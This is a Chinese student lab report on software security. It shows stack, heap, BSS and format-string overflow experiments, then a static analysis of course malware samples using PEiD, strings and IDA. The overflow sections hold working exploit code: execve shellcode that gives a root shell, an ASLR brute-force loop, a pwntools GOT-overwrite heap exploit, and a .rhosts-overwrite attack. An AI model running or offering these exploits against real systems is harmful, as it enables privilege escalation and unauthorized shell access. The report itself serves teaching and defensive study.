➁语句执行完毕后,进入实验过程。为理解程序的行为,在 badfile 中放入一些随机内容。注意到,当文件长度小于100 个字节时,程序可以正常运行; 当文件长度大于 100 个字节时,程序会崩溃,这正是由缓冲区溢出导致的。

具体指令为:

$ echo "aaaa" > badfile 
$ ./stack 
Returned Properly 
$ echo "aaa · · ·(此处略去 100 个字符)· · · aaa" > badfile 
$ ./stack 
Segmentation fault 

会出现预期的段错误提示,实验过程截图如下:

image-20230107155734824

3.1.2 实施缓冲区溢出攻击

我们首先完成关闭地址随机化下的缓冲区溢出攻击。

先用该指令关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0

执行该指令后,栈的起始地址总是固定的

在本实验中,由于拥有目标程序的源代码,因此可以重新编译它,加入调试信息,以方便进行调试。

使用 gdb 来调试可执行文件 stack dbg,且在运行程序之前,使用touch badfile 命令创建一个 badfile 文件。

image-20230107160152179

gdb 中,通过“b foo”命令在 foo() 函数处设置一个断点,接着用 run 命令来运行程序。程序将在 foo() 函数内停下来。这时可以使用 gdbp 指令 (p 指令默认用十六进制打印,p/d 表示用十进制打印) 来打印帧指针 ebp 的值以及 buffer 的地址。

image-20230107160319327

从以上的执行结果可以看出,帧指针的值是 0xbfffeaf8。因此,可以看出,返回地址保存在 0xbfffeaf8 + 4 中,并且第一个 NOP 指令在 0xbfffeaf8 + 8。因此, 可以将 0xbfffeaf8 + 8 作为恶意代码的入口地址,把它写入返回地址字段中。

由于输入将被复制到 buffer 中,为了让输入中的返回地址字段准确地覆盖栈中的返回地址区域,需要知道栈中buffer 和返回地址区域之间的距离,这个距离就是返回地址字段在输入数据中的相对位置。

从调试信息可以轻松地获知 buffer 的起始地址,然后计算出从 ebpbuffer 起始处的距离。通过计算,得到的结果是 108。由于返回地址区域在 ebp 指向位置上面的 4 字节处,因此返回地址区域到 buffer 起始处的距离就是 112

下面我们用 exploit.py 生成恶意输入文件 badfile。我将该python文件完成的功能总结为以下四点:

(1)找到 “/bin/sh’’ 字符串在内存中的地址并设置 ebx;

(2)找到 name 数组的地址并设置 ecx——name[0] 中存放的是 “/bin/sh’’ 的地址,name[1] 中存放的是空指针

(3)将 edx 设为 0;

(4)调用 execve() 系统调用。

#!/usr/bin/python3 
import sys 
 
shellcode= ( 
    "\x31\xc0"	# xorl %eax,%eax 
    "\x50"		# pushl %eax  
    "\x68""//sh" 	# pushl $0x68732f2f  
    "\x68""/bin" 	# pushl $0x6e69622f  
    "\x89\xe3"	# movl %esp,%ebx 
    "\x50"		# pushl %eax 
    "\x53"		# pushl %ebx 
    "\x89\xe1"	# movl %esp,%ecx 
    "\x99"		# cdq 
    "\xb0\x0b"	# movb $0x0b,%al 
    "\xcd\x80"	# int $0x80 
).encode('latin-1') 
# Fill the content with NOP s' 
content = bytearray(0x90 for i in range(300)) 
# Put the shellcode at the end 
start = 300 - len(shellcode) 
content[start:] = shellcode 
# Put the address at the beginning 
ret = 0xbffff448 + 100 
content[112:116] = (ret).to_bytes(4,byteorder= 'little')	# ➃ 
 
# Write the content to a file  
file = open("badfile", "wb")  
file.write(content)  
file.close()

现在可以运行 exploit.py 来产生 badfile 文件。该文件产生之后,运行 Set-UID 漏洞程序,它从 badfile 文件中复制数据,造成缓冲区溢出。下面的结果显示得到了 # 提示符,这表明已经成功获取了 root 权限。使用 id 命令能够验证当前用户的有效用户 ID (euid) 的确是 0。实验截图如图:

image-20230107160601037

接下来我们在 32 位机器上击败堆栈随机化。我编写了以下脚本来反复发起缓冲区溢出攻击,希望我们对内存地址的猜测会偶然正确。在运行脚本之前,我们需要通过设置内核来打开内存随机化 kernel.randomizevaspace 值为 2

在上述攻击中,我们在 badfile 中准备了恶意输入,但由于内存随机化,我们输入的地址可能不正确。从下面的执行轨迹可以看出,当地址不正确时,程序会崩溃(core dumped)。然而,在此次实验中,在运行脚本在第34分钟(10537次)后,我们放在 badfile 中的地址碰巧正确,shellcode 被触发,获得了 root 权限。

image-20230107160637948

./defeaLrand.sh 代码如下:

#!/bin/bash
 
SECONDS=0
value=0
 
while [ 1 ] do
value=$(( $value + 1 )) duration=$SECONDS min=$(($duration / 60 )) sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed ."
echo "The program has been running $value times so far ."
./stack done

3.1.3 设计缓冲区溢出漏洞分析工具

基于堆栈的缓冲区溢出攻击需要修改返回地址;如果我们能在从函数返回之前检测到返回地址是否被修改,我们就能阻止攻击。有许多方法可以实现这一点。一种方法是将返回地址的副本存储在其他地方(不在堆栈上,因此不能通过缓冲区溢出来覆盖), 并使用它来检查返回地址是否被修改。这种方法的一个典型实现是 Stackshield。另一种方法是在返回地址和缓冲区之间放置一个随机值,并使用这个随机值来检测返回地址是否被修改。这种方法的典型实现是 StackGuardStackGuard 已经并入编译器,包括 gcc

StackGuard 的关键思想是,对于修改返回地址的缓冲区溢出攻击,缓冲区和返回地址之间的所有堆栈内存都将被覆盖。这是因为如 strcpy() memcpy() 等的内存复制功能,将数据复制到连续的内存位置,因此不可能有选择地修改某些位置,而保持其他位置不变。如果我们不想在内存复制期间影响特定位置的值,唯一的方法是用存储在该位置的相同值覆盖该位置。

基于这个思想,我们可以在缓冲区和返回地址之间放置一些不可预测的值(称为Guard(防护))。在从函数返回之前,我们检查该值是否被修改。如果它被修改了, 返回地址也可能被修改了。因此,检测返回地址是否被重写的问题被简化为检测保护地址是否被重写。这两个问题看似相同,其实不然。通过查看返回地址的值,我们不知道它的值是否被修改,但是由于 Guard(防护)的值是由我们放置的,所以很容易知道 Guard(防护)的值是否被修改。

我们将用一个秘密初始化变量 guard。这个秘密是 main() 函数中生成的随机数,所以每次程序运行,随机数都不一样。只要秘密是不可预测的,如果缓冲区的溢出导致了返回地址的修改,它也必须覆盖保护中的值。在仍能修改返回地址的情况下不修改保护的唯一方法是用其原始值覆盖保护。因此,攻击者需要猜测秘密号码是什么,如果号码是随机的,并且足够大,就很难做到。

基于以上思想,我们可以在 stack.c 添加以下代码,当发生缓冲区溢出攻击时,可以检测到并输出”***stack smashing detected***“,并将程序退出。demo.c 可设计如下:

int secret;
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int foo(char *str)
{
	int guard;
	guard = secret;
	char buffer[100];
	strcpy(buffer, str); 
	if (guard != secret){
		printf("***stack smashing detected***");
		exit(1);
	}
	return 1;
}
 
int main()
{
	srand(time(0));
	secret = rand();
	int guard;
	guard = secret;
	char str[100];
	FILE *badfile;
	badfile = fopen("badfile" , "r");
	fread(str, sizeof(char), 300 , badfile); 
	foo(str);
	if (guard != secret) {
		printf("***stack smashing detected***");exit(1);
	}
	printf("Returned Properly\n");
	return 1;
}

接下来我们设计脚本,使其能够自动添加“StackGuard”的语句。设计具体思路如下:

(1) 在程序的开头添加 int secret; #include <time.h> 语句,其中 secret 是全局变量,time.h 用于后续生成随机数。

(2) 在每次看到 { 的地方添加语句(即在每个函数开头添加以下语句):

int guard; 
guard = secret;

(3) 在每次看到程序将要返回时(即看到return 1;),添加以下语句:

if (guard != secret) 
printf("***stack smashing detected***");exit(1);}

(4) 在 main 函数开头另外添加以下语句:

{srand(time(0)); 
secret = rand();

运行时,如果程序发现了缓冲区溢出,将打印”***stack smashing detected***“,并将程序退出,从而防止缓冲区溢出攻击。

相关脚本文件(a.py)如下:

import os ,sys
import re
 
# 脚本文件所在的文件夹
file = 'C:\\Users\\Qian Zeshu\\Desktop\\osexp\\stack.c'
# 解析后的执行语句保存到的文件
out_file = 'C:\\Users\\Qian Zeshu\\Desktop\\osexp\\demo.c'
i = 0
table = ''
with open(file, 'r',encoding='utf-8-sig') as op:  #设置为可读
    flag1 = 0
    flag2 = 0
    lines = op.readlines()
    for line in lines:
        flag = 0
        with open(out_file, 'a',encoding='utf-8-sig') as pop: #设置为可读可写
            if flag1 == 0:
                pop.write('int secret;\n')
                pop.write('#include <time.h>\n')
                flag1 = flag1 + 1
            # 匹配
            matchTable1 = re.match('{',line)
            matchTable2 = re.match('	return 1;',line)
            matchTable3 = re.match('int main()',line)
            if matchTable1:
                if(flag2 == 0):
                    pop.write(line)
                    pop.write('int guard;\n')
                    pop.write('guard = secret;\n')
                else:
                    flag2 = 0
                flag = flag + 1
            if matchTable2:
                pop.write('if (guard != secret) {\n')
                pop.write('printf("***stack smashing detected***");exit(1);}\n')
                pop.write(line)
                flag = flag + 1
            if matchTable3:
                pop.write(line)
                pop.write('{srand(time(0));\n')
                pop.write('secret = rand();\n')
                pop.write('int guard;\n')
                pop.write('guard = secret;\n')
                flag = flag + 1
                flag2 =1
            if flag == 0:
                pop.write(line)
        pop.close()
op.close()

如图,程序输出”***stack smashing detected***“后将程序退出,实现了对可能存在缓冲区溢出漏洞的程序的保护。

image-20230107161112253

3.2 堆溢出

本实验的操作系统环境是 Ubuntu 20.04,以 gdb-peda 作为调试器。

chunk 是用户申请内存的单位,也是堆管理器管理内存的基本单位,malloc() 返回的指针指向一个 chunk 的数据区域

与栈溢出所不同的是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直接通过堆溢出来控制 EIP ,所以通常我们利用堆溢出的策略是:

1.覆盖与其物理相邻的下一个 chunk 的内容:

  • prev_size
  • size,主要有三个比特位,以及该堆块真正的大小
    • NON_MAIN_ARENA
    • IS_MAPPED
    • PREV_INUSE
    • the True chunk size
  • chunk content,从而改变程序固有的执行流。

2.利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere )或控制堆块中的内容等效果,从而来控制程序的执行流。

通俗的来讲就是我们利用 fastbin 的分配和回收机制,构造出特定的一条 chunk 链,然后通过对上一个 chunk的写入来溢出覆盖下一个 chunkfb 指针,从而达到于 fastbin_double_free 一样的效果,需要注意的是我们在溢出的时候我们需要保留下一个 chunk 的一些基本信息,比如 size 的大小,inuse 等。

3.2.1 构造具有堆溢出漏洞的程序

我们设计以下C语言程序。在程序中,用户可以选择申请或释放内存空间:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *cmd)
{
	system(cmd);	
}

int main()
{
	setvbuf(stdout,0,_IONBF,0);
	int cmd,idx,sz;
	char *ptr[10];
	memset(ptr,0,sizeof(ptr));
	puts("1.malloc+gets\n2.free\n3.puts\n");
	while(1)
	{
		printf("> ");
		scanf("%d %d",&cmd,&idx);
		idx %= 10;
		if(cmd==1)
		{
			scanf("%d%*c",&sz);
			ptr[idx] = malloc(sz);
			gets(ptr[idx]);		//溢出
		}
		else if(cmd==2)
		{
			free(ptr[idx]);
			ptr[idx] = 0; 	//不再存在double_free
		}
		else if(cmd==3)
		{
			puts(ptr[idx]);
		}
		else
		{
			exit(0);
		}
	}
 	return 0;
}

3.2.2 实施缓冲区溢出攻击

我们先申请两 chunk,分别是 ptr[0]ptr[1],然后先 free(ptr[1]),再 free(ptr[0]),此时 ptr[0]ptr[1] 的前面,即 ptr[0]–>ptr[1] 。在申请堆之前,我们先在20行(即输入参数)前加入断点,则每次执行到该步会暂停。单步调试如下:

image-20230107222308611

(申请第一个 chunk)

image-20230107222414310

image-20230107222425752

(申请第二个 chunk,字符串值为 qqqqssss)

image-20230107222524479

(释放后内存空间的值的情况)

image-20230107222554970

然后我们再次申请一个 chunk,我们将拿到 ptr[0] ,此时进行精心的溢出操作,可以覆盖到 ptr[1] fd,再次申请一次 chunk 将拿到 ptr[1],最后再申请一次 chunk 就可以拿到特定位置的“chunk”,此时进行写入操作就可以修改成我们需要的内容了。在这里我们先演示发生溢出的情况:

image-20230107223201772

基于以上分析,我们编写以下 Python 代码:

from pwn import *
p = process('./heap')
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
if args.G:
    gdb.attach(p)
    
def cmd(x):
    p.recvuntil('> ')
    p.send(x+'\n')

def malloc(i,s):
    cmd('1 %d\n24 %s'%(i,s))

def free(i):
    cmd('2 %d'%i)

malloc(0,'a'*8)
malloc(1,'b'*8)
free(1)
free(0)
malloc(2,'a'*24 + p64(0x21) + p64(0x601018))
malloc(3,'sh')
malloc(4, p64(0x4007d7))
p.recvuntil('> ')
p.sendline('2 3')
p.interactive()

在这里,我们将 freegot 表的地址换成了 sh() 函数的地址,然后在 ptr[3] 的位置写入了一个“sh”字符串,当我们调用 free(ptr[3]) 时,就变成了调用 system(ptr[3]),即 system(sh);

这里需要注意的是溢出时字符串的构造,可表述为以下形式:

pwndbg> x/20gx 0x602660
140 0x602660:   0x0000000000000000  0x0000000000000021
141 0x602670:   0x6161616161616161  0x6161616161616161
142 0x602680:   0x6161616161616161  0x0000000000000021 //<--这个位置是chunk的size需要保留,与申请的字节有关
143 0x602690:   0x0000000000601018  0x0000000000000000
144 0x6026a0:   0x0000000000000000  0x0000000000020961
145 0x6026b0:   0x0000000000000000  0x0000000000000000
146 0x6026c0:   0x0000000000000000  0x0000000000000000
147 0x6026d0:   0x0000000000000000  0x0000000000000000
148 0x6026e0:   0x0000000000000000  0x0000000000000000
149 0x6026f0:   0x0000000000000000  0x0000000000000000

运行结果如下:

qzs@qzs-ubuntu:~/desktop$ python exp.py
[+] Starting local process './heap': pid 25427
[*] Switching to interactive mode
$ ls
core  exp.py  heap  heap.c 
$ whoami
sir
$ id
uid=1000(qzs) gid=1000(qzs)=1000(qzs),7(lp),27(sudo),100(users),107(netdev),110(lpadmin),116(scanner),122(sambashare),996(autologin)

可以看到,我们得到了程序的 shell,可执行对应的命令。

3.3 BSS 溢出

3.3.1 构造具有 BSS 溢出漏洞的程序

我们演示在 BSS 段(未被初始化的数据)的静态缓冲区溢出,编写以下具有 BSS 溢出漏洞的程序。经过调试后发现,buf1buf2 的地址会随机变化,我们加入一个判断条件,使得溢出都是从低地址溢出至高地址,也即 注1 中所描述的内容。具体实现如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

int main(int argc, char **argv)
{
    u_long diff;

    int oversize;
    static char buf1[BUFSIZE], buf2[BUFSIZE];

    if (argc <= 1)
    {
        fprintf(stderr, "Usage: %s <numbytes>\n", argv[0]);
        fprintf(stderr, "[Will overflow static buffer by <numbytes>]\n");
        exit(ERROR);
    }

    if(buf1 >= buf2)
    {
        diff = (u_long)buf1 - (u_long)buf2;		// 注1
    }
    else
    {
        diff = (u_long)buf2 - (u_long)buf1;
    }
    printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes\n\n",
           buf1, buf2, diff, diff);

    memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1);
    buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';

    printf("before overflow: buf1 = %s, buf2 = %s\n", buf1, buf2);

    oversize = diff + atoi(argv[1]);
    if(buf1 >= buf2)
    {
        memset(buf2, 'B', oversize);
    }
    else
    {
        memset(buf1, 'B', oversize);
    }
    buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';
    printf("after overflow: buf1 = %s, buf2 = %s\n\n", buf1, buf2);

    return 0;
}

运行代码,得到以下结果:

image-20230108114822665

可以看到,buf2 的前8个字节被覆盖了。

下面我们演示在 BSS 段(未被初始化的数据)中的静态指针溢出,编写以下具有BSS 溢出漏洞的程序。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define BUFSIZE 16
#define ADDRLEN 4 /* 指针地址的长度 */

int main()
{
    u_long diff;
    static char buf[BUFSIZE], *bufptr;

    bufptr = buf;
    if((u_long)&bufptr >= (u_long)buf){
        diff = (u_long)&bufptr - (u_long)buf;
    }
    else
    {
        diff = (u_long)buf - (u_long)&bufptr;
    }

    printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
           &bufptr, bufptr, buf, diff, diff);

    memset(buf, 'A', (u_int)(diff + ADDRLEN)); // 将diff+ADDRLEN字节的'A'填充到buf中

    printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
           &bufptr, bufptr, buf, diff, diff);

    return 0;
}

运行代码,得到以下结果:

image-20230108115041249

我们看到,现在指针 bufptr 现在指向一个不同的地址(0x559841414141),示意如下:

			buf       	   bufptr
覆盖前:[xxxxxxxxxxxxxxxx][0x559897dba020]
         低址 ------------------> 高址
覆盖后:[AAAAAAAAAAAAAAAA][0x559841414141]
                  [AAAA]

3.3.2 实施缓冲区溢出攻击

下面的程序是一个典型的有弱点的程序,它将用户的输入储存在一个临时文件中:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

/*
  * 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值;
  * 否则,即使攻击程序成功,它也不会有权限修改/root/.rhosts。
*/

int main(int argc, char **argv)
{
    FILE *tmpfd;
    static char buf[BUFSIZE], *tmpfile;

    if (argc <= 1)
    {
        fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
        exit(ERROR);
    }

    tmpfile = "/tmp/vulprog.tmp"; /* 这里暂时不考虑链接问题 :) */
    printf("before: tmpfile = %s\n", tmpfile);

    printf("Enter one line of data to put in %s: ", tmpfile);
    gets(buf);             /* 导致buf溢出 */

    printf("\nafter: tmpfile = %s\n", tmpfile);

    tmpfd = fopen(tmpfile, "w");
    if (tmpfd == NULL)
    {
        fprintf(stderr, "error opening %s: %s\n", tmpfile,
                strerror(errno));

        exit(ERROR);
    }

    fputs(buf, tmpfd);     /* 将buf提供的数据存入临时文件 */
    fclose(tmpfd);
}

下面的程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序以为将我们输入的一行数据储存到了一个临时文件里。然而,因为发生了静态缓冲区溢出的缘故,我们可以修改这个临时文件的指针,让它指向 argv[1] (我们将传递” /root/.rhosts “给它)。然后程序就会将我们提供的输入数据存在” /root/.rhosts “中。

我们用来覆盖缓冲区的字符串将会是下面的格式:[+ + # ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址],”+ +“后面跟着 ‘#‘ 号是为了防止我们的溢出代码出问题。没有 ‘#‘ (注释符),使用.rhosts的程序就会错误解释我们的溢出代码。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BUFSIZE 256

#define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */

#define VULPROG "./vulprog1"
#define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */

/* 得到当前堆栈的esp,用来计算argv[1]的地址 */
u_long getesp()
{
    __asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
    u_long addr;

    register int i;
    int mainbufsize;

    char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

    /* ------------------------------------------------------ */
    if (argc <= 1)
    {
        fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
        exit(ERROR);
    }
    /* ------------------------------------------------------ */

    memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); /*
将攻击代码填入buf */

    memset(buf + strlen(buf), 'A', DIFF); 	 /* 用'A'填满剩余的buf空间 */
    addr = getesp() + atoi(argv[1]);         /* 计算argv[1]的地址 */

    /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */
    for (i = 0; i < sizeof(u_long); i++)
        buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
    /* 计算mainbuf的长度 */
    mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

    mainbuf = (char *)malloc(mainbufsize);
    memset(mainbuf, 0, sizeof(mainbuf));

    snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
             buf, VULPROG, VULFILE);

    printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
           addr, VULFILE);

    system(mainbuf);
    return 0;
}

下面是运行结果:

image-20230108132033106

我们看到现在tmpfile指向 argv[0]("./vulprog1")

我们增加10个字节( argv[0]的长度):

image-20230108132215704

我们已经成功的将”+ +“添加到了 /root/.rhosts 中。攻击程序覆盖了 vulprog 用来接受 gets() 输入的静态缓冲区,并将猜测的 argv[1] 的地址覆盖 tmpfile

我们可以在 mainbuf 中放置任意长度的 ‘A‘ 直到发现多少个 ‘A‘ 才能到达 tmpfile 的地址。通常这个偏移量在编译的时候会发生改变,但我们可以很容易的重新计算/猜测甚至”暴力”猜测这个偏移量。

3.4 格式化串溢出

3.4.1 构造具有格式化串溢出漏洞的程序

我们可以利用格式化串溢出实现越界数据访问,进而执行任意地址读写。本实验的操作系统环境是 Ubuntu 20.04,以 gdb-peda 作为调试器。

以下代码存在格式化串溢出漏洞:

#include <stdio.h>
int main()
{
	int a=1,b=2,c=3;
	char buf[]="test";
	printf("%s %d %d %d %x %x %x\n",buf,a,b,c);//格式控制符与参数数量不等
	return 0; 
}

运用 gcc -z execstack -Wformat=0 -g -fno-stack-protector -m32 -o pr pr.c 命令进行编译,并执行,得到如下执行结果:

image-20230107232522020

我们可以利用 %x 可以一直读取栈内的内存数据,%n 的作用是把前面已经打印的长度写入某个内存地址。如以下实例:

#include <stdio.h> 
int main() 
{ 
    int num=66666666; 
    printf("Before: num = %d\n", num); 
    printf("%d%n\n", num, &num); 
    printf("After: num = %d\n", num); 
}

执行结果如下:

image-20230107232816790

3.4.2 实施缓冲区溢出攻击

编写如下漏洞利用代码:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>

int main(int argv,char **argc) {
    short int zero=0;
    int *plen=(int*)malloc(sizeof(int));
    char buf[256];
    strcpy(buf,argc[1]);
    printf("%s%hn/n",buf,plen);
    while(zero);
}

我们可以运用 gdb 进行调试:

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804846b <+0>:	lea    ecx,[esp+0x4]
   0x0804846f <+4>:	and    esp,0xfffffff0
   0x08048472 <+7>:	push   DWORD PTR [ecx-0x4]
   0x08048475 <+10>:	push   ebp
   0x08048476 <+11>:	mov    ebp,esp
   0x08048478 <+13>:	push   ebx
   0x08048479 <+14>:	push   ecx
   0x0804847a <+15>:	sub    esp,0x110
   0x08048480 <+21>:	mov    ebx,ecx
   0x08048482 <+23>:	mov    WORD PTR [ebp-0xa],0x0    //zero
   0x08048488 <+29>:	sub    esp,0xc
   0x0804848b <+32>:	push   0x4
   0x0804848d <+34>:	call   0x8048340 <malloc@plt>
   0x08048492 <+39>:	add    esp,0x10
   0x08048495 <+42>:	mov    DWORD PTR [ebp-0x10],eax   //plen

本程序栈帧可示意如下:

image-20230107233302648

如果攻击者提供 260 bytes 长的参数,最后四个字节将覆盖指针*plen。当接下来执行 printf() 时,将会在*plen(这个值由攻击者控制)所指向的内存中写入一些字符。然而,由于 format string 中的 h,攻击者将只能写两个字节(short write—由于 h 的转换)到这个内存地址。如果提供的参数大于 260 字节,那么将会覆盖 zero,这个例子的程序将进入死循环。

我们需要构造一个合适的 argc[1] 。针对 zero 的检查,如果为 NULL 字节,程序将正常退出(这样就执行了shellcode)(while 循环结束,绕过死循环)。由于 zero 是两个字节长,包含了两个 NULL 字节的较小的数是0x100006553616 进制)。

所以,如果 argc[1]65536 bytes 长,*plen 指向了 zero 的地址的话,死循环将被绕过。

我们编写以下 shellcode

r `python3 -c 'print "\x8c\xcf\xfe\xff"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+"A"*(256-25-4)+"\x8e\xd0\xfe\xff"+"\x8c\xcf\xfe\xff"*((0x10000-260)/4)'`

shellcode 作为程序的参数执行,可以成功提权:

image-20230108132320982

至此,攻击成功。

实验四 恶意样本的静态分析与动态分析

一、实验要求

完成恶意样本的静态分析与动态分析,具体要求如下:

1)选择合适的 PE 文件浏览、分析工具,静态分析工具,动态分析工具(可以参照课内教学常见的工具),常见分析工具集,学习工具的使用;

2)针对附件中Lab135内(分析得更多加分)的可执行文件(EXEDLL),给出恶意代码分析,分析其恶意特性、恶意功能以及恶意行为。

要求熟练掌握分析工具集的功能和方法;针对恶意代码给出静态分析和动态分析,最好能使用反汇编工具针对程序做程序分片和污点传播分析;成实验报告,详尽描述分析过程、方法、工具,给出恶意代码的行为特征。

二、Lab1 分析

2.1 Lab1-01

2.1.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

扫描 dll 文件:

image-20230108135517480

扫描 exe 文件:

image-20230108135458825

从扫描结果来看,可以确认这两个文件是病毒文件。

2.1.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

我们点击文件头:

image-20230108141121415

点击”Time/Date”:

image-20230108141100013

查看 Labe1-01.exe 文件的创建时间是2010年12月19日。

image-20230108141315825

同样的方式得到 Labe1-01.dll 文件的创建时间是2010年12月19日。

2.1.3 检查文件是否被加壳

我们使用 PEiD 软件进行检查。

(Labe1-01.dll)

image-20230108141940095

(Labe1-01.exe)

image-20230108141900917

可以看到该程序是用 Microsoft Visual C++ 6.0 编写的。

假设程序被加壳,PEiDdSCAN 要么显示壳的名称,要么显示”nothing found“,故本程序未加壳。

2.1.4 查看导入函数

我们使用 PEiD 软件查看导入函数。我们将 Labe1-01.exe 拖入,并查看子系统:

image-20230108142337753

查看输入表:

image-20230108142554431

可以看到,程序调用了 FindNextFileAFindFirstFileA 这两个 API 函数,它们主要用于查找系统中的一些文件;CopyFile 用于复制文件,CreateFile 用于创建文件。病毒程序用 Copyfile 函数一般的目的是想把自己复制到一个隐藏的位置。

以同样的方法查看 dll 文件的输入表:

image-20230108142728551

可以看到 dll 文件导入了 WS2_32.dll 链接库,WS2_32.dll 链接库经常被用来做一些联网的操作。所以,我们推测 dll 程序会用到联网功能。

2.1.5 strings 查看可执行文件的可打印字符串

strings.exe 与待测文件放在一个目录下,使用命令 .\strings.exe Lab01-01.exe

image-20230108144208443

我们看到,程序存在一个路径 C:\windows\system32\kernel32.dll,在这里可以猜到程序是想把自身或其他文件复制到该目录。

image-20230108144413153

对其文件进行分析,kerne132.dll 文件显然是想将自己冒充混淆为Windows的系统文件 kernel32.dll。因此 kerne132.dll 可以作为一个基于主机的迹象来发现恶意代码感染,并且是我们分析恶意代码所需要关注的一个线索。

image-20230108144926238

同样的方法查看 Lab01-01.dll

image-20230108144617768

在第二个文件中出现了一个网址,继续查看这一 IP 地址,其实可以大概猜到病毒制造者是想让我们访问这一地址。

IP 查询平台上进行查询,发现 127.26.152.13 是保留地址,说明是出于教学目的使用的保留地址。

image-20230108144754203

基于以上分析,得到以下结论:.dll 文件可能是一个后门,.exe 文件是用来安装与运行 DLL 文件的。后门是恶意代码将自身安装到一台计算机来允许攻击者访问,后门程序通常让攻击者只需很少认证甚至无需认证,便可连接到远程计算机上,并可以在本地系统执行命令。

2.2 Lab1-02

2.2.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230108145308205

从扫描结果来看,可以确认该文件是病毒文件。

2.2.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230108151348326

查看 Labe1-02.exe 文件的创建时间是2011年1月19日。

2.2.3 检查文件是否被加壳

我们使用 PEiD 软件进行检查。在普通扫描中没有发现加壳,我们进行核心扫描,发现存在 UPX 壳:

image-20230108145206873

我们使用 Kali 自带的脱壳指令进行脱壳:

image-20230108145743162

脱壳完成后,我们重新将该文件拖入 PEiD 软件中,可以看到该程序是用 Microsoft Visual C++ 6.0 编写的:

image-20230108145930176

2.2.4 查看导入函数

我们使用 PEiD 软件查看导入函数。我们将 Labe1-02.exe 拖入,并查看导入表:

image-20230108150150802

我们得到以上 API 的含义:

  • StartServiceCtrlDispatcherA:把程序主线程连接到服务控制管理程序。使得线程成为调用进程的服务控制调度程序进程
  • OpenSCManagerA:建立一个到服务控制管理器的连接,并打开指定的数据库
  • CreateServiceA:创建一个服务对象,并将其添加到指定的服务控制管理器数据库

表明该程序完成的任务是:创建一个线程,创建新的服务并控制。

image-20230108150208215

2.2.5 strings 查看可执行文件的可打印字符串

strings.exe 与待测文件放在一个目录下,使用命令 .\strings.exe Lab01-02.exe

image-20230108150830182

image-20230108150902411

我们可以发现该恶意代码的网络迹象:通过 Malservice 服务名称(邮寄服务)、网络链接、浏览器类型,可以通过监视网络流量检查被恶意代码感染的主机。

2.3 Lab1-03

2.3.1 扫描实验文件

使用VirScan - 多引擎文件在线检测平台扫描实验文件:

image-20230108151556716

从扫描结果来看,可以确认该文件是病毒文件。

2.3.2 确认文件的编译时间

我们使用 PETools 工具进行分析。

PE 头的 _IMAGE_FILE_HEADER 结构体中,TimeDateStamp 这个字段记录了文件的创建时间。

image-20230108151809920

查看 Labe1-02.exe 文件的创建时间是1970年1月1日。显然该创建时间是伪造的。

2.3.3 检查文件是否被加壳

我们使用 PEiD 软件进行检查。发现程序利用 FSG1.0 进行加壳操作:

image-20230108151853575

我们使用万能脱壳工具软件进行脱壳:

image-20230108152129655

脱壳完成后,我们重新将该文件拖入 PEiD 软件中,可以看到该程序是用 Microsoft Visual C++ 6.0 编写的:

image-20230108152244017

2.3.4 查看导入函数

我们使用 PEiD 软件查看导入函数。我们将 Labe1-03.exe 拖入,并查看导入表:

image-20230108152747896

OleInitialize 是一个 Windows API 函数。它的作用是在当前单元(apartment)初始化组件对象模型(COM)库,将当前的并发模式标识为 STAsingle-thread apartment——单线程单元),并启用一些特别用于OLE技术的额外功能。除了 CoGetMalloc 和内存分配函数,应用程序必须在调用 COM库函数之前初始化 COM 库。我们结合下节内容分析程序的功能。

2.3.5 IDA分析

我们将该文件拖到 IDA 进行分析,找到 main 函数:

image-20230108152551527

观察到 psz 的值指向一个网络链接:

image-20230108152619580

